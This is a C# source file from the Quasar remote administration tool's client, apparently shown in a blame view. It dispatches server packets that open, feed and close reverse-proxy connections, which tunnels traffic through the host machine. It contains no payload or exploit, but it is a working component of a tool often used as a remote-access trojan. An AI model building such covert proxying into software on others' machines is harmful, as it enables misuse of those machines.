Quasar/Client/Core/ReverseProxy/ReverseProxyCommandHandler.cs

39 lines
1.3 KiB
C#
Raw Normal View History

using xClient.Core.Networking;
using xClient.Core.Packets;
using xClient.Core.ReverseProxy.Packets;
namespace xClient.Core.ReverseProxy
{
public class ReverseProxyCommandHandler
{
2015-05-10 17:02:10 +00:00
public static void HandleCommand(Client client, IPacket packet)
{
2015-05-10 17:02:10 +00:00
var type = packet.GetType();
if (type == typeof (ReverseProxyConnect))
{
2015-05-10 17:02:10 +00:00
client.ConnectReverseProxy((ReverseProxyConnect) packet);
}
2015-05-10 17:02:10 +00:00
else if (type == typeof (ReverseProxyData))
{
2015-05-10 17:02:10 +00:00
ReverseProxyData dataCommand = (ReverseProxyData)packet;
ReverseProxyClient proxyClient = client.GetReverseProxyByConnectionId(dataCommand.ConnectionId);
if (proxyClient != null)
{
2015-05-10 17:02:10 +00:00
proxyClient.SendToTargetServer(dataCommand.Data);
}
}
2015-05-10 17:02:10 +00:00
else if (type == typeof (ReverseProxyDisconnect))
{
2015-05-10 17:02:10 +00:00
ReverseProxyDisconnect disconnectCommand = (ReverseProxyDisconnect)packet;
ReverseProxyClient socksClient = client.GetReverseProxyByConnectionId(disconnectCommand.ConnectionId);
2015-05-10 17:02:10 +00:00
if (socksClient != null)
{
2015-05-10 17:02:10 +00:00
socksClient.Disconnect();
}
}
}
}
}